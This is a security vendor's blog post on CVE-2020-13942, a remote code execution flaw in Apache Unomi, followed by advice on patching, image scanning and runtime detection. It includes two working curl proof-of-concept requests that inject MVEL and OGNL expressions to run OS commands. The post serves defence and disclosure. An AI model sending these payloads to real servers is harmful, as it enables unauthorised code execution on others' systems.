Detecting and mitigating Apache Unomi’s CVE-2020-13942 – Remote Code Execution (RCE)

By Stefano Chierici - MARCH 10, 2021

SHARE:

CVE-2020-13942 is a critical vulnerability that affects the Apache open source application Unomi, and allows a remote attacker to execute arbitrary code. In the versions prior to 1.5.1, Apache Unomi allowed remote attackers to send malicious requests with MVEL and OGNL expressions that could contain arbitrary code, resulting in Remote Code Execution (RCE) with the privileges of the Unomi application. If a potential attacker can reach the application and send an HTTP request with a crafted OGNL or MVEL payload, then they may be able to exploit the vulnerability and execute arbitrary code on the machine or pod. From reading this article, you will understand this issue, what part of Apache Unomi is affected, and learn how to mitigate the vulnerability with Sysdig Secure.

What is Apache Uomi?

Apache Unomi is an Open Source Customer Data Platform and part of the Apache software foundation. Unomi is a REST server that manages user profiles and events related to the profiles. It can be used to integrate personalization and profile management within very different systems, such as CMS, CRMs, and Issue Trackers. Similar to what happened for Apache Struts, which was targeted by critical security issues on OGNL in the past couple of years, Apache Unomi uses expression languages (OGNL or MVEL) to allow users to edit complex and granular queries. Due to their nature to create and change executable code, they are often introducing critical flows to frameworks that use it.

The CVE-2020-13942 issue

The issue with CVE-2020-13942 is as follows: If you have Apache Unomi versions 1.5.1 or below, there are two possible attack vectors:
  1. RCE through MVEL injection.
  2. RCE through OGNL injection.

A previous vulnerability not patched properly

In a previous CVE fix, the SecureFilteringClassLoader class was added. This checks the classes used in the expressions against a whitelist and a blocklist to limit the execution of OGNL expressions. However, it didn’t cover the MVEL expressions. The problem of the patch applied is that the SecureFilteringClassLoader relies on the assumption that every class in both MVEL and OGNL expressions is loaded using the loadClass() method of the ClassLoader class. However, it is still possible to load a class by using instantiated built-in system level classes, like Runtime or System, without calling loadClass(), totally bypassing the patch applied and leaving Unomi open to RCE. The same applies to the OGNL case, where you can use the Java reflections API to load classes inside OGNL expressions without triggering the loadClass() call.

Exploiting CVE-2020-23942

To exploit the vulnerability, it is possible to use both the port 8181 and 9443. The code used for both vectors targets OGNL, and MVAL is relatively similar. The crafted HTTP request below contains a MVAL expression, which creates a Runtime object and runs the arbitrary OS command on the host or pod.
curl -X POST http://<host>:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"mvel-poc ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"touch /tmp/mvel-poc\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"mvel-poc"}'
If we check the command line on the pod, we see that the file “test-mvel” has been successfully created. As for the previous case, we can see the HTTP request that contains OGNL expression and loads the Runtime class using the Java reflections API.
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"ognl-poc","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl-poc\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"ognl-poc"}'
Even in this case, the OS command has been correctly executed on the pod and the file created. To solve the CVE-2020-13942 issue, a patch was released by the Apache Unomi and included in the 1.5.2 version. Developers did several mitigations in this patch, primarily disabling OGNL by default, improving OGNL sandbox, sanitizing MVEL expressions, and modifying its imports preventing system-level classes. From the code below, we can see that in the file ExpressionFilter.java, regular expressions have been used to filter out objects that are not expected in MVEL scripts, such as Runtime, ProcessBuilder, etc. In addition, potentially dangerous classes like Runtime, ProcessBuilder, etc. are overwritten by the String class inside the MVEL runtime in the new class MvelScriptExecutor.

The impact of CVE-2020-13942

Exploiting the issue, is possible to execute arbitrary commands on the system using the application privileges. According to the CVSS3 system, it scores 9.8 as Critical Severity due to the low complexity exploitation and the high impact in terms of confidentiality, integrity, and availability. To learn more about how a vulnerability score is calculated, Are Vulnerability Scores Tricking You? Understanding the severity of CVSS and using them effectively In the worst scenario, the attacker is able to execute code using the privileges the application is using to run. If the application is run by root, the attacker has full control on the machine. Often though, the application is run by an unprivileged service user so in order to fully control the host, an adversary has to escalate the privileges inside the machine or pod.

Mitigating CVE-2020-13942

If you’re impacted by this CVE, you should update the application to the newest version, or at least to the 1.5.2 version, immediately. If you cannot patch your systems immediately, detecting exploitation attempts of this vulnerability is critical to preventing or stopping an attack. Even though you might have already upgraded your system and containers affected by the vulnerability, it is still extremely necessary to detect any exploitation attempts and post-breach activities in your environment. To detect and mitigate this vulnerability, it is possible to act in three different moments in the application lifecycle:
  1. During the build, with an image scanner.
  2. During the deployment, thanks to an image scanner on the admission controller.
  3. During the run and response phase, using a runtime detection engine to detect malicious behaviors in already deployed hosts or pods.
Let’s now dive into each of them.

1. Build: Image Scanner

Using an Image scanner, you can analyze the contents and the build process of a container image in order to detect security issues, vulnerabilities, or bad practices. Checking the report results, you can search if the specific CVE has been detected in any images already deployed in your environment. In this case, we can see that CVE-2020-13942 affects one specific image.

2. Deploy: Image scanner on admission controller

Implementing an image scanning on admission controller, it is possible to admit only the workload images that are compliant with the scanning policy to run in the cluster. This component is able to reject images based on names, tags, namespaces, CVE severity level, and so on, using different evaluating criterias. Creating and assigning a policy for this specific CVE, the admission controller will evaluate new deployment images, blocking deployment in case this security issue is detected.

3. Run and Response: Event Detection

Using a Runtime detection engine tool like Falco, it is possible to detect attacks that occur in runtime while your containers are already in production. Let’s assume that the attacker exploits this specific vulnerability and wants to open a reverse shell on the pod. In this case, the Falco runtime policies in place are able to detect the malicious behavior and raise a security alert.

Conclusion

The CVE-2020-13942 vulnerability allows malicious users to execute arbitrary code on a machine or pod by using a bug found in the Open Source Apache Unomi application. We recommend using an image scanner on several places in your container lifecycle, like in your CI/CD pipelines, and using a runtime security tool detecting reverse shells. These strategies together will allow your security team to react to attacks targeting this vulnerability, block them, and report on any affected running containers ahead of time. Sysdig Secure allows users to scan container images to detect if they have the vulnerable component and are affected by the CVE. With the Sysdig Admission Controller, you can ensure that only the images compliant with your scanning policies are deployed. In addition, thanks to the Falco detection engine embedded in Sysdig Secure, it is possible to detect and block malicious behaviors trying to exploit the vulnerability which might occur in runtime. It only takes a few minutes to get started with Sysdig. Try it today!

Subscribe and get the latest updates